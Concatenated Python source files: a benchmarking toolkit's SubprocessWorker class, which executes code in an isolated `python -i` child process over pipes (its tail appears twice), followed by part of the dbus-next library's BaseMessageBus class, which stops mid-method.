self._log_cmd(snippet)
result = marshal.loads(self._output_pipe.read())
if isinstance(result, str):
assert result == subprocess_rpc.SUCCESS
return
assert isinstance(result, dict)
if not result:
stdout, stderr = get_output()
raise subprocess.SubprocessError(
"Uncaught Exception in worker:"
f" working_dir: {self.working_dir}\n"
f" stdout:\n{textwrap.indent(stdout, " " * 8)}\n\n"
f" stderr:\n{textwrap.indent(stderr, " " * 8)}")
serialized_e = subprocess_rpc.SerializedException(**result)
stdout, stderr = get_output()
subprocess_rpc.SerializedException.raise_from(
serialized_e=serialized_e,
extra_context=(
f" working_dir: {self.working_dir}\n"
f" stdout:\n{textwrap.indent(stdout, " " * 8)}\n\n"
f" stderr:\n{textwrap.indent(stderr, " " * 8)}"
)
)
def _kill_proc(self) -> None:
"""Best effort to kill subprocess."""
if getattr(self, "_proc", None) is None:
# We failed in the constructor, so there's nothing to clean up.
return
self._input_pipe.write(subprocess_rpc.HARD_EXIT)
try:
self._proc.wait(timeout=1)
except subprocess.TimeoutExpired:
if not subprocess_rpc.IS_WINDOWS:
self._proc.send_signal(signal.SIGINT)
try:
self._proc.terminate()
except PermissionError:
# NoisePoliceWorker runs under sudo, and thus will not allow
# SIGTERM to be sent.
print(f"Failed to clean up process {self._proc.pid}")
# Unfortunately Popen does not clean up stdin when using PIPE. However
# we also can't unconditionally close the fd as it could interfere with
# the orderly teardown of the process. We try our best to kill
# `self._proc` in the previous block; if `self._proc` is terminated we
# make sure its stdin TextIOWrapper is closed as well.
try:
self._proc.wait(timeout=1)
proc_stdin = self._proc.stdin
if proc_stdin is not None:
proc_stdin.close()
except subprocess.TimeoutExpired:
pass
self._alive = False
def __del__(self) -> None:
self._kill_proc()
# We own these fd's, and it seems that we can unconditionally close
# them without impacting the shutdown of `self._proc`.
self._stdout_f.close()
self._stderr_f.close()
# Finally, make sure we don't leak any files.
shutil.rmtree(self._working_dir, ignore_errors=True)
| import contextlib
import datetime
import io
import os
import marshal
import pathlib
import shutil
import signal
import subprocess
import sys
import tempfile
import textwrap
import time
import typing
import components
from components._impl.workers import base
from components._impl.workers import subprocess_rpc
class SubprocessWorker(base.WorkerBase):
"""Open a subprocess using `python -i`, and use it to execute code.
This class wraps a subprocess which runs a clean instance of Python.
This enables hermetic execution of stateful code, GIL free concurrent
benchmarking, and easy use of command line tools from Python.
When using SubprocessWorker, it is important to remember that while the
environment is (or at least tries to be) identical to the parent, it does
not share state or initialization with the parent process. Imports must be
re-run in the worker, and shared resources (such as file descriptors) will
not be available. For most applications this mirrors the semantics of
`timeit.Timer`.
The principle extension point for SubprocessWorker is the `args`
property. By overriding it, subclasses can change the nature of the
underlying subprocess while reusing all of the generic communication and
fault handling facilities of the base class. For example, suppose we want
to use TaskSet to pin the worker to a single core. The code is simply:
```
class TasksetZeroWorker(SubprocessWorker):
@property
def args(self) -> typing.List[str]:
return ["taskset", "--cpu-list", "0"] + super().args
```
"""
_working_dir: str
_alive: bool = False
_bootstrap_timeout: int = 10 # seconds
def __init__(self, timeout: typing.Optional[float] = None) -> None:
super().__init__()
# Log inputs and outputs for debugging.
self._command_log = os.path.join(self.working_dir, "commands.log")
pathlib.Path(self._command_log).touch()
self._stdout_f: io.FileIO = io.FileIO(
os.path.join(self.working_dir, "stdout.txt"), mode="w",
)
self._stderr_f: io.FileIO = io.FileIO(
os.path.join(self.working_dir, "stderr.txt"), mode="w",
)
# `self._run` has strong assumptions about how `_input_pipe` and
# `_output_pipe` are used. They should not be accessed in any other
# context. (The same is true for `self.load` and `_load_pipe`.)
self._input_pipe = subprocess_rpc.Pipe()
self._output_pipe = subprocess_rpc.Pipe(
timeout=timeout,
timeout_callback=self._kill_proc,
)
self._load_pipe = subprocess_rpc.Pipe(
timeout=timeout,
timeout_callback=self._kill_proc,
)
# Windows and Unix differ in how pipes are shared with children.
# In Unix they are inherited, while in Windows the child consults the
# OS to get access. Most of this complexity is handled by
# `subprocess_rpc.Pipe`, however we also have to make sure Popen
# exposes the pipes in a platform appropriate way.
child_fds = [
self._input_pipe.read_fd,
self._output_pipe.write_fd,
self._load_pipe.write_fd,
]
if subprocess_rpc.IS_WINDOWS:
for fd in child_fds:
os.set_inheritable(fd, True)
startupinfo = subprocess.STARTUPINFO()
startupinfo.lpAttributeList["handle_list"].extend(
[subprocess_rpc.to_handle(fd) for fd in child_fds])
popen_kwargs = {
"startupinfo": startupinfo,
}
else:
popen_kwargs = {
"close_fds": True,
"pass_fds": child_fds,
}
self._proc = subprocess.Popen(
args=self.args,
stdin=subprocess.PIPE,
stdout=self._stdout_f,
stderr=self._stderr_f,
encoding=subprocess_rpc.ENCODING,
bufsize=1,
cwd=os.getcwd(),
**popen_kwargs,
)
# setup the pid of child process in the output pipe
self._output_pipe.set_writer_pid(self._proc.pid)
self._worker_bootstrap_finished: bool = False
self._bootstrap_worker()
self._alive = True
@property
def working_dir(self) -> str:
# A subclass might need to access `self.working_dir` before calling
# `super().__init__` in order to properly construct `args`, so we need
# to lazily initialize it.
if getattr(self, "_working_dir", None) is None:
self._working_dir = tempfile.mkdtemp()
return self._working_dir
@property
def args(self) -> typing.List[str]:
return [sys.executable, "-i", "-u"]
def run(self, snippet: str) -> None:
self._run(snippet)
def store(self, name: str, value: typing.Any, in_memory: bool = False) -> None:
if in_memory:
raise NotImplementedError("SubprocessWorker does not support `in_memory`")
# NB: we convert the bytes to a hex string to avoid encoding issues.
self._run(f"""
{name} = {subprocess_rpc.WORKER_IMPL_NAMESPACE}["marshal"].loads(
bytes.fromhex({repr(marshal.dumps(value).hex())})
)
""")
def load(self, name: str) -> typing.Any:
self._run(f"""
{subprocess_rpc.WORKER_IMPL_NAMESPACE}["load_pipe"].write(
{subprocess_rpc.WORKER_IMPL_NAMESPACE}["marshal"].dumps({name})
)
""")
return marshal.loads(self._load_pipe.read())
@property
def in_process(self) -> bool:
return False
@property
def alive(self) -> bool:
return self._alive and self._proc.poll() is None
def _bootstrap_worker(self) -> None:
"""Import subprocess_rpc in the worker, and start the work loop.
Commands are executed by writing to `self._input_pipe`, and waiting for
a response on `self._output_pipe`. This presumes, however, that there
is a worker doing the opposite: listening to the input pipe and writing
to the output pipe. At startup `self._proc` is a simple interactive
Python process, so we have to bootstrap it to start the work loop or
else `self._run` will hang waiting for jobs to be processed.
"""
# NB: This gets sent directly to `self._proc`'s stdin, so it MUST be
# a single expression and may NOT contain any empty lines. (Due to
# how Python processes commands.)
bootstrap_command = textwrap.dedent(f"""
try:
import marshal
import sys
sys_path_old = list(sys.path)
sys.path = marshal.loads(
bytes.fromhex({repr(marshal.dumps(sys.path).hex())})
)
# The parent gets priority, but a subclass could set PYTHONPATH
# so we have to respect extra paths.
sys.path.extend([i for i in sys_path_old if i and i not in sys.path])
from components._impl.workers import subprocess_rpc
output_pipe = subprocess_rpc.Pipe(
write_handle={self._output_pipe.write_handle})
output_pipe.write(subprocess_rpc.BOOTSTRAP_IMPORT_SUCCESS)
subprocess_rpc.run_loop(
input_handle={self._input_pipe.read_handle},
output_pipe=output_pipe,
load_handle={self._load_pipe.write_handle},
)
except:
sys.exit(1)
""").strip()
if self._proc.poll() is not None:
raise ValueError("Process has already exited.")
proc_stdin = self._proc.stdin
assert proc_stdin is not None
self._log_cmd(bootstrap_command)
# We need two newlines for Python to stop waiting for more input.
proc_stdin.write(f"{bootstrap_command}\n\n")
proc_stdin.flush()
with self.watch_stdout_stderr() as get_output:
try:
# Bootstrapping is very fast. (Unlike user code where we have
# no a priori expected upper bound.) If we don't get a response
# prior to the timeout, it is overwhelmingly likely that the
# worker died or the bootstrap failed. (E.g. failed to resolve
# import path.) This simply allows us to raise a good error.
bootstrap_pipe = subprocess_rpc.Pipe(
read_handle=self._output_pipe.read_handle,
write_handle=self._output_pipe.write_handle,
timeout=self._bootstrap_timeout,
)
result = bootstrap_pipe.read()
assert result == subprocess_rpc.BOOTSTRAP_IMPORT_SUCCESS, result
result = bootstrap_pipe.read()
assert result == subprocess_rpc.BOOTSTRAP_INPUT_LOOP_SUCCESS, result
self._worker_bootstrap_finished = True
assert self._proc.poll() is None
except (Exception, KeyboardInterrupt) as e:
stdout, stderr = get_output()
cause = "import failed" if self._proc.poll() else "timeout"
raise e from RuntimeError(
f"Failed to bootstrap worker ({cause}):\n"
f" working_dir: {self.working_dir}\n"
f" stdout:\n{textwrap.indent(stdout, ' ' * 8)}\n\n"
f" stderr:\n{textwrap.indent(stderr, ' ' * 8)}"
)
def _log_cmd(self, snippet: str) -> None:
with open(self._command_log, "at", encoding="utf-8") as f:
now = datetime.datetime.now().strftime("[%Y-%m-%d] %H:%M:%S.%f")
f.write(f"# {now}\n{snippet}\n\n")
@contextlib.contextmanager
def watch_stdout_stderr(self):
# Get initial state for stdout and stderr, since we only want to
# capture output since the contextmanager started.
stdout_stat = os.stat(self._stdout_f.name)
stderr_stat = os.stat(self._stderr_f.name)
def get() -> typing.Tuple[str, str]:
with open(self._stdout_f.name, "rb") as f:
_ = f.seek(stdout_stat.st_size)
stdout = f.read().decode("utf-8").strip()
with open(self._stderr_f.name, "rb") as f:
_ = f.seek(stderr_stat.st_size)
stderr = f.read().decode("utf-8").strip()
return stdout, stderr
yield get
def _run(self, snippet: str) -> None:
"""Helper method for running code in a subprocess."""
assert self._worker_bootstrap_finished
assert self.alive, "Process has exited"
snippet = textwrap.dedent(snippet)
with self.watch_stdout_stderr() as get_output:
self._input_pipe.write(snippet.encode(subprocess_rpc.ENCODING))
self._log_cmd(snippet)
result = marshal.loads(self._output_pipe.read())
if isinstance(result, str):
assert result == subprocess_rpc.SUCCESS
return
assert isinstance(result, dict)
if not result:
stdout, stderr = get_output()
raise subprocess.SubprocessError(
"Uncaught Exception in worker:"
f" working_dir: {self.working_dir}\n"
f" stdout:\n{textwrap.indent(stdout, ' ' * 8)}\n\n"
f" stderr:\n{textwrap.indent(stderr, ' ' * 8)}")
serialized_e = subprocess_rpc.SerializedException(**result)
stdout, stderr = get_output()
subprocess_rpc.SerializedException.raise_from(
serialized_e=serialized_e,
extra_context=(
f" working_dir: {self.working_dir}\n"
f" stdout:\n{textwrap.indent(stdout, ' ' * 8)}\n\n"
f" stderr:\n{textwrap.indent(stderr, ' ' * 8)}"
)
)
def _kill_proc(self) -> None:
"""Best effort to kill subprocess."""
if getattr(self, "_proc", None) is None:
# We failed in the constructor, so there's nothing to clean up.
return
self._input_pipe.write(subprocess_rpc.HARD_EXIT)
try:
self._proc.wait(timeout=1)
except subprocess.TimeoutExpired:
if not subprocess_rpc.IS_WINDOWS:
self._proc.send_signal(signal.SIGINT)
try:
self._proc.terminate()
except PermissionError:
# NoisePoliceWorker runs under sudo, and thus will not allow
# SIGTERM to be sent.
print(f"Failed to clean up process {self._proc.pid}")
# Unfortunately Popen does not clean up stdin when using PIPE. However
# we also can't unconditionally close the fd as it could interfere with
# the orderly teardown of the process. We try our best to kill
# `self._proc` in the previous block; if `self._proc` is terminated we
# make sure its stdin TextIOWrapper is closed as well.
try:
self._proc.wait(timeout=1)
proc_stdin = self._proc.stdin
if proc_stdin is not None:
proc_stdin.close()
except subprocess.TimeoutExpired:
pass
self._alive = False
def __del__(self) -> None:
self._kill_proc()
# We own these fd's, and it seems that we can unconditionally close
# them without impacting the shutdown of `self._proc`.
self._stdout_f.close()
self._stderr_f.close()
# Finally, make sure we don't leak any files.
shutil.rmtree(self._working_dir, ignore_errors=True)
|
from ._private.address import get_bus_address, parse_address
from .message import Message
from .constants import BusType, MessageFlag, MessageType, ErrorType, NameFlag, RequestNameReply, ReleaseNameReply
from .service import ServiceInterface
from .validators import assert_object_path_valid, assert_bus_name_valid
from .errors import DBusError, InvalidAddressError
from .signature import Variant
from .proxy_object import BaseProxyObject
from . import introspection as intr
from contextlib import suppress
import inspect
import traceback
import socket
import logging
import xml.etree.ElementTree as ET
from typing import Type, Callable, Optional, Union
class BaseMessageBus:
"""An abstract class to manage a connection to a DBus message bus.
The message bus class is the entry point into all the features of the
library. It sets up a connection to the DBus daemon and exposes an
interface to send and receive messages and expose services.
This class is not meant to be used directly by users. For more information,
see the documentation for the implementation of the message bus you plan to
use.
:param bus_type: The type of bus to connect to. Affects the search path for
the bus address.
:type bus_type: :class:`BusType <dbus_next.BusType>`
:param bus_address: A specific bus address to connect to. Should not be
used under normal circumstances.
:type bus_address: str
:param ProxyObject: The proxy object implementation for this message bus.
Must be passed in by an implementation that supports the high-level client.
:type ProxyObject: Type[:class:`BaseProxyObject
<dbus_next.proxy_object.BaseProxyObject>`]
:ivar unique_name: The unique name of the message bus connection. It will
be :class:`None` until the message bus connects.
:vartype unique_name: str
"""
def __init__(self,
bus_address: Optional[str] = None,
bus_type: BusType = BusType.SESSION,
ProxyObject: Optional[Type[BaseProxyObject]] = None):
self.unique_name = None
self._disconnected = False
self._method_return_handlers = {}
# buffer messages until connect
self._buffered_messages = []
self._serial = 0
self._user_message_handlers = []
# the key is the name and the value is the unique name of the owner.
# This cache is kept up to date by the NameOwnerChanged signal and is
# used to route messages to the correct proxy object. (used for the
# high level client only)
self._name_owners = {}
# used for the high level service
self._path_exports = {}
self._bus_address = parse_address(bus_address) if bus_address else parse_address(
get_bus_address(bus_type))
# the bus implementations need this rule for the high level client to
# work correctly.
self._name_owner_match_rule = "sender='org.freedesktop.DBus',interface='org.freedesktop.DBus',path='/org/freedesktop/DBus',member='NameOwnerChanged'"
# _match_rules: the keys are match rules and the values are ref counts
# (used for the high level client only)
self._match_rules = {}
self._high_level_client_initialized = False
self._ProxyObject = ProxyObject
# machine id is lazy loaded
self._machine_id = None
self._setup_socket()
def export(self, path: str, interface: ServiceInterface):
"""Export the service interface on this message bus to make it available
to other clients.
:param path: The object path to export this interface on.
:type path: str
:param interface: The service interface to export.
:type interface: :class:`ServiceInterface
<dbus_next.service.ServiceInterface>`
:raises:
- :class:`InvalidObjectPathError <dbus_next.InvalidObjectPathError>` - If the given object path is not valid.
- :class:`ValueError` - If an interface with this name is already exported on the message bus at this path
"""
assert_object_path_valid(path)
if not isinstance(interface, ServiceInterface):
raise TypeError('interface must be a ServiceInterface')
if path not in self._path_exports:
self._path_exports[path] = []
for f in self._path_exports[path]:
if f.name == interface.name:
raise ValueError(
f'An interface with this name is already exported on this bus at path "{path}": "{interface.name}"'
)
self._path_exports[path].append(interface)
ServiceInterface._add_bus(interface, self)
self._emit_interface_added(path, interface)
def unexport(self, path: str, interface: Optional[Union[ServiceInterface, str]] = None):
"""Unexport the path or service interface to make it no longer
available to clients.
:param path: The object path to unexport.
:type path: str
:param interface: The interface instance or the name of the interface
to unexport. If ``None``, unexport every interface on the path.
:type interface: :class:`ServiceInterface
<dbus_next.service.ServiceInterface>` or str or None
:raises:
- :class:`InvalidObjectPathError <dbus_next.InvalidObjectPathError>` - If the given object path is not valid.
"""
assert_object_path_valid(path)
if type(interface) not in [str, type(None)] and not isinstance(interface, ServiceInterface):
raise TypeError('interface must be a ServiceInterface or interface name')
if path not in self._path_exports:
return
exports = self._path_exports[path]
if type(interface) is str:
try:
interface = next(iface for iface in exports if iface.name == interface)
except StopIteration:
return
removed_interfaces = []
if interface is None:
del self._path_exports[path]
for iface in filter(lambda e: not self._has_interface(e), exports):
removed_interfaces.append(iface.name)
ServiceInterface._remove_bus(iface, self)
else:
for i, iface in enumerate(exports):
if iface is interface:
removed_interfaces.append(iface.name)
del self._path_exports[path][i]
if not self._path_exports[path]:
del self._path_exports[path]
if not self._has_interface(iface):
ServiceInterface._remove_bus(iface, self)
break
self._emit_interface_removed(path, removed_interfaces)
def introspect(self, bus_name: str, path: str,
callback: Callable[[Optional[intr.Node], Optional[Exception]], None]):
"""Get introspection data for the node at the given path from the given
bus name.
Calls the standard ``org.freedesktop.DBus.Introspectable.Introspect``
on the bus for the path.
:param bus_name: The name to introspect.
:type bus_name: str
:param path: The path to introspect.
:type path: str
:param callback: A callback that will be called with the introspection
data as a :class:`Node <dbus_next.introspection.Node>`.
:type callback: :class:`Callable`
:raises:
- :class:`InvalidObjectPathError <dbus_next.InvalidObjectPathError>` - If the given object path is not valid.
- :class:`InvalidBusNameError <dbus_next.InvalidBusNameError>` - If the given bus name is not valid.
"""
BaseMessageBus._check_callback_type(callback)
def reply_notify(reply, err):
try:
BaseMessageBus._check_method_return(reply, err, 's')
result = intr.Node.parse(reply.body[0])
except Exception as e:
callback(None, e)
return
callback(result, None)
self._call(
Message(destination=bus_name,
path=path,
interface='org.freedesktop.DBus.Introspectable',
member='Introspect'), reply_notify)
def _emit_interface_added(self, path, interface):
"""Emit the ``org.freedesktop.DBus.ObjectManager.InterfacesAdded`` signal.
This signal is intended to be used to alert clients when
a new interface has been added.
:param path: Path of exported object.
:type path: str
:param interface: Exported service interface.
:type interface: :class:`ServiceInterface
<dbus_next.service.ServiceInterface>`
"""
if self._disconnected:
return
body = {interface.name: {}}
properties = interface._get_properties(interface)
for prop in properties:
with suppress(Exception):
body[interface.name][prop.name] = Variant(prop.signature,
prop.prop_getter(interface))
self.send(
Message.new_signal(path=path,
interface='org.freedesktop.DBus.ObjectManager',
member='InterfacesAdded',
signature='oa{sa{sv}}',
body=[path, body]))
def _emit_interface_removed(self, path, removed_interfaces):
"""Emit the ``org.freedesktop.DBus.ObjectManager.InterfacesRemoved` signal.
This signal is intended to be used to alert clients when
a interface has been removed.
:param path: Path of removed (unexported) object.
:type path: str
:param removed_interfaces: List of unexported service interfaces.
:type removed_interfaces: list[str]
"""
if self._disconnected:
return
self.send(
Message.new_signal(path=path,
interface='org.freedesktop.DBus.ObjectManager',
member='InterfacesRemoved',
signature='oas',
body=[path, removed_interfaces]))
def request_name(self,
name: str,
flags: NameFlag = NameFlag.NONE,
callback: Optional[Callable[[Optional[RequestNameReply], Optional[Exception]],
None]] = None):
"""Request that this message bus owns the given name.
:param name: The name to request.
:type name: str
:param flags: Name flags that affect the behavior of the name request.
:type flags: :class:`NameFlag <dbus_next.NameFlag>`
:param callback: A callback that will be called with the reply of the
request as a :class:`RequestNameReply <dbus_next.RequestNameReply>`.
:type callback: :class:`Callable`
:raises:
- :class:`InvalidBusNameError <dbus_next.InvalidBusNameError>` - If the given bus name is not valid.
"""
assert_bus_name_valid(name)
if callback is not None:
BaseMessageBus._check_callback_type(callback)
def reply_notify(reply, err):
try:
BaseMessageBus._check_method_return(reply, err, 'u')
result = RequestNameReply(reply.body[0])
except Exception as e:
callback(None, e)
return
callback(result, None)
if type(flags) is not NameFlag:
flags = NameFlag(flags)
self._call(
Message(destination='org.freedesktop.DBus',
path='/org/freedesktop/DBus',
interface='org.freedesktop.DBus',
member='RequestName',
signature='su',
body=[name, flags]), reply_notify if callback else None)
def release_name(self,
name: str,
callback: Optional[Callable[[Optional[ReleaseNameReply], Optional[Exception]],
None]] = None):
"""Request that this message bus release the given name.
:param name: The name to release.
:type name: str
:param callback: A callback that will be called with the reply of the
release request as a :class:`ReleaseNameReply
<dbus_next.ReleaseNameReply>`.
:type callback: :class:`Callable`
:raises:
- :class:`InvalidBusNameError <dbus_next.InvalidBusNameError>` - If the given bus name is not valid.
"""
assert_bus_name_valid(name)
if callback is not None:
BaseMessageBus._check_callback_type(callback)
def reply_notify(reply, err):
try:
BaseMessageBus._check_method_return(reply, err, 'u')
result = ReleaseNameReply(reply.body[0])
except Exception as e:
callback(None, e)
return
callback(result, None)
self._call(
Message(destination='org.freedesktop.DBus',
path='/org/freedesktop/DBus',
interface='org.freedesktop.DBus',
member='ReleaseName',
signature='s',
body=[name]), reply_notify if callback else None)
def get_proxy_object(self, bus_name: str, path: str,
introspection: Union[intr.Node, str, ET.Element]) -> BaseProxyObject:
"""Get a proxy object for the path exported on the bus that owns the
name. The object is expected to export the interfaces and nodes
specified in the introspection data.
This is the entry point into the high-level client.
:param bus_name: The name on the bus to get the proxy object for.
:type bus_name: str
:param path: The path on the client for the proxy object.
:type path: str
:param introspection: XML introspection data used to build the
interfaces on the proxy object.
:type introspection: :class:`Node <dbus_next.introspection.Node>` or str or :class:`ElementTree`
:returns: A proxy object for the given path on the given name.
:rtype: :class:`BaseProxyObject <dbus_next.proxy_object.BaseProxyObject>`
:raises:
- :class:`InvalidBusNameError <dbus_next.InvalidBusNameError>` - If the given bus name is not valid.
- :class:`InvalidObjectPathError <dbus_next.InvalidObjectPathError>` - If the given object path is not valid.
- :class:`InvalidIntrospectionError <dbus_next.InvalidIntrospectionError>` - If the introspection data for the node is not valid.
"""
if self._ProxyObject is None:
raise Exception('the message bus implementation did not provide a proxy object class')
self._init_high_level_client()
return self._ProxyObject(bus_name, path, introspection, self)
def disconnect(self):
"""Disconnect the message bus by closing the underlying connection asynchronously.
All pending and future calls will error with a connection error.
"""
self._sock.shutdown(socket.SHUT_RDWR)
def next_serial(self) -> int:
"""Get the next serial for this bus. This can be used as the ``serial``
attribute of a :class:`Message <dbus_next.Message>` to manually handle
the serial of messages.
:returns: The next serial for the bus.
:rtype: int
"""
self._serial += 1
return self._serial
def add_message_handler(self, handler: Callable[[Message], Optional[Union[Message, bool]]]):
"""Add a custom message handler for incoming messages.
The handler should be a callable that takes a :class:`Message
<dbus_next.Message>`. If the message is a method call, you may return
another Message as a reply and it will be marked as handled. You may
also return ``True`` to mark the message as handled without sending a
reply.
:param handler: A handler that will be run for every message the bus
connection received.
:type handler: :class:`Callable` or None
"""
error_text = 'a message handler must be callable with a single parameter'
if not callable(handler):
raise TypeError(error_text)
handler_signature = inspect.signature(handler)
if len(handler_signature.parameters) != 1:
raise TypeError(error_text)
self._user_message_handlers.append(handler)
def remove_message_handler(self, handler: Callable[[Message], Optional[Union[Message, bool]]]):
"""Remove a message handler that was previously added by
:func:`add_message_handler()
<dbus_next.message_bus.BaseMessageBus.add_message_handler>`.
:param handler: A message handler.
:type handler: :class:`Callable`
"""
for i, h in enumerate(self._user_message_handlers):
if h == handler:
del self._user_message_handlers[i]
break
def send(self, msg: Message) -> None:
"""Asynchronously send a message on the message bus.
:param msg: The message to send.
:type msg: :class:`Message <dbus_next.Message>`
:raises:
- :class:`Exception` - If a connection error occurred.
"""
raise NotImplementedError('the "send" method must be implemented in the inheriting class')
def _finalize(self, err):
'''should be called after the socket disconnects with the disconnection
error to clean up resources and put the bus in a disconnected state'''
if self._disconnected:
return
self._disconnected = True
for handler in self._method_return_handlers.values():
handler(None, err)
self._method_return_handlers.clear()
for path in list(self._path_exports.keys()):
self.unexport(path)
self._user_message_handlers.clear()
def _has_interface(self, interface: ServiceInterface) -> bool:
for _, exports in self._path_exports.items():
for iface in exports:
if iface is interface:
return True
return False
def _interface_signal_notify(self, interface, interface_name, member, signature, body):
path = None
for p, ifaces in self._path_exports.items():
for i in ifaces:
if i is interface:
path = p
if path is None:
raise Exception('Could not find interface on bus (this is a bug in dbus-next)')
self.send(
Message.new_signal(path=path,
interface=interface_name,
member=member,
signature=signature,
body=body))
def _introspect_export_path(self, path):
assert_object_path_valid(path)
if path in self._path_exports:
node = intr.Node.default(path)
for interface in self._path_exports[path]:
node.interfaces.append(interface.introspect())
else:
node = intr.Node(path)
children = set()
for export_path in self._path_exports:
try:
child_path = export_path.split(path, maxsplit=1)[1]
except IndexError:
continue
child_path = child_path.lstrip('/')
child_name = child_path.split('/', maxsplit=1)[0]
children.add(child_name)
node.nodes = [intr.Node(name) for name in children if name]
return node
def _setup_socket(self):
err = None
for transport, options in self._bus_address:
filename = None
ip_addr = ''
ip_port = 0
if transport == 'unix':
self._sock = socket.socket(socket.AF_UNIX,
socket.SOCK_STREAM | socket.SOCK_NONBLOCK)
self._stream = self._sock.makefile('rwb')
self._fd = self._sock.fileno()
if 'path' in options:
filename = options['path']
elif 'abstract' in options:
filename = f'\0{options['abstract']}'
else:
raise InvalidAddressError('got unix transport with unknown path specifier')
try:
self._sock.connect(filename)
break
except Exception as e:
err = e
elif transport == 'tcp':
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._stream = self._sock.makefile('rwb')
self._fd = self._sock.fileno()
if 'host' in options:
ip_addr = options['host']
if 'port' in options:
ip_port = int(options['port'])
try:
self._sock.connect((ip_addr, ip_port))
self._sock.setblocking(False)
break
except Exception as e:
err = e
else:
raise InvalidAddressError(f'got unknown address transport: {transport}')
if err:
raise err
def _call(self, msg, callback):
BaseMessageBus._check_callback_type(callback)
if not msg.serial:
msg.serial = self.next_serial()
def reply_notify(reply, err):
if reply:
self._name_owners[msg.destination] = reply.sender
callback(reply, err)
self.send(msg)
if msg.flags & MessageFlag.NO_REPLY_EXPECTED:
callback(None, None)
else:
self._method_return_handlers[msg.serial] = reply_notify
@staticmethod
def _check_callback_type(callback):
"""Raise a TypeError if the user gives an invalid callback as a parameter"""
text = 'a callback must be callable with two parameters'
if not callable(callback):
raise TypeError(text)
fn_signature = inspect.signature(callback)
if len(fn_signature.parameters) != 2:
raise TypeError(text)
@staticmethod
def _check_method_return(msg, err, signature):
if err:
raise err
elif msg.message_type == MessageType.METHOD_RETURN and msg.signature == signature:
return
elif msg.message_type == MessageType.ERROR:
raise DBusError._from_message(msg)
else:
raise DBusError(ErrorType.INTERNAL_ERROR, 'invalid message type for method call', msg)
def _on_message(self, msg):
try:
self._process_message(msg)
except Exception as e:
logging.error(
f'got unexpected error processing a message: {e}.\n{traceback.format_exc()}')
def _send_reply(self, msg):
bus = self
class SendReply:
def __enter__(self):
return self
def __call__(self, reply):
if msg.flags & MessageFlag.NO_REPLY_EXPECTED:
return
bus.send(reply)
def __exit__(self, exc_type, exc_value, tb):
if exc_type is None:
return
if issubclass(exc_type, DBusError):
self(exc_value._as_message(msg))
return True
if issubclass(exc_type, Exception):
self(
Message.new_error(
msg, ErrorType.SERVICE_ERROR,
f'The service interface raised an error: {exc_value}.\n{traceback.format_tb(tb)}'
))
return True
return SendReply()
def _process_message(self, msg):
handled = False
for handler in self._user_message_handlers:
try:
result = handler(msg)
if result:
if type(result) is Message:
self.send(result)
handled = True
break
except DBusError as e:
if msg.message_type == MessageType.METHOD_CALL:
self.send(e._as_message(msg))
handled = True
break
else:
logging.error(
f'A message handler raised an exception: {e}.\n{traceback.format_exc()}')
except Exception as e:
logging.error(
f'A message handler raised an exception: {e}.\n{traceback.format_exc()}')
if msg.message_type == MessageType.METHOD_CALL:
self.send(
Message.new_error(
msg, ErrorType.INTERNAL_ERROR,
f'An internal error occurred: {e}.\n{traceback.format_exc()}'))
handled = True
break
if msg.message_type == MessageType.SIGNAL:
if msg._matches(sender='org.freedesktop.DBus',
path='/org/freedesktop/DBus',
interface='org.freedesktop.DBus',
member='NameOwnerChanged'):
[name, old_owner, new_owner] = msg.body
if new_owner:
self._name_owners[name] = new_owner
elif name in self._name_owners:
del self._name_owners[name]
elif msg.message_type == MessageType.METHOD_CALL:
if not handled:
handler = self._find_message_handler(msg)
send_reply = self._send_reply(msg)
with send_reply:
if handler:
handler(msg, send_reply)
else:
send_reply(
Message.new_error(
msg, ErrorType.UNKNOWN_METHOD,
f'{msg.interface}.{msg.member} with signature "{msg.signature}" could not be found'
))
else:
# An ERROR or a METHOD_RETURN
if msg.reply_serial in self._method_return_handlers:
if not handled:
handler = self._method_return_handlers[msg.reply_serial]
handler(msg, None)
del self._method_return_handlers[msg.reply_serial]
@classmethod
def _make_method_handler(cls, interface, method):
def handler(msg, send_reply):
result = method.fn(interface, *msg.body)
body = ServiceInterface._fn_result_to_body(result, method.out_signature_tree)
send_reply(Message.new_method_return(msg, method.out_signature, body))
return handler
def _find_message_handler(self, msg):
handler = None
if msg._matches(interface='org.freedesktop.DBus.Introspectable',
member='Introspect',
signature=''):
handler = self._default_introspect_handler
elif msg._matches(interface='org.freedesktop.DBus.Properties'):
handler = self._default_properties_handler
elif msg._matches(interface='org.freedesktop.DBus.Peer'):
if msg._matches(member='Ping', signature=''):
handler = self._default_ping_handler
elif msg._matches(member='GetMachineId', signature=''):
handler = self._default_get_machine_id_handler
elif msg._matches(interface='org.freedesktop.DBus.ObjectManager',
member='GetManagedObjects'):
handler = self._default_get_managed_objects_handler
else:
for interface in self._path_exports.get(msg.path, []):
for method in ServiceInterface._get_methods(interface):
if method.disabled:
continue
if msg._matches(interface=interface.name,
member=method.name,
signature=method.in_signature):
handler = self._make_method_handler(interface, method)
break
if handler:
break
return handler
def _default_introspect_handler(self, msg, send_reply):
introspection = self._introspect_export_path(msg.path).tostring()
send_reply(Message.new_method_return(msg, 's', [introspection]))
def _default_ping_handler(self, msg, send_reply):
send_reply(Message.new_method_return(msg))
def _default_get_machine_id_handler(self, msg, send_reply):
if self._machine_id:
send_reply(Message.new_method_return(msg, 's', self._machine_id))
return
def reply_handler(reply, err):
if err:
# the bus has been disconnected, cannot send a reply
return
if reply.message_type == MessageType.METHOD_RETURN:
self._machine_id = reply.body[0]
send_reply(Message.new_method_return(msg, 's', [self._machine_id]))
elif reply.message_type == MessageType.ERROR:
send_reply(Message.new_error(msg, reply.error_name, reply.body))
else:
send_reply(Message.new_error(msg, ErrorType.FAILED, 'could not get machine_id'))
self._call(
Message(destination='org.freedesktop.DBus',
path='/org/freedesktop/DBus',
interface='org.freedesktop.DBus.Peer',
member='GetMachineId'), reply_handler)
def _default_get_managed_objects_handler(self, msg, send_reply):
result = {}
for node in self._path_exports:
if not node.startswith(msg.path + '/') and msg.path != '/':
continue
result[node] = {}
for interface in self._path_exports[node]:
result[node][interface.name] = self._get_all_properties(interface)
send_reply(Message.new_method_return(msg, 'a{oa{sa{sv}}}', [result]))
def _default_properties_handler(self, msg, send_reply):
methods = {'Get': 'ss', 'Set': 'ssv', 'GetAll': 's'}
if msg.member not in methods or methods[msg.member] != msg.signature:
raise DBusError(
ErrorType.UNKNOWN_METHOD,
f'properties interface doesn\'t have method "{msg.member}" with signature "{msg.signature}"'
)
interface_name = msg.body[0]
if interface_name == '':
raise DBusError(
ErrorType.NOT_SUPPORTED,
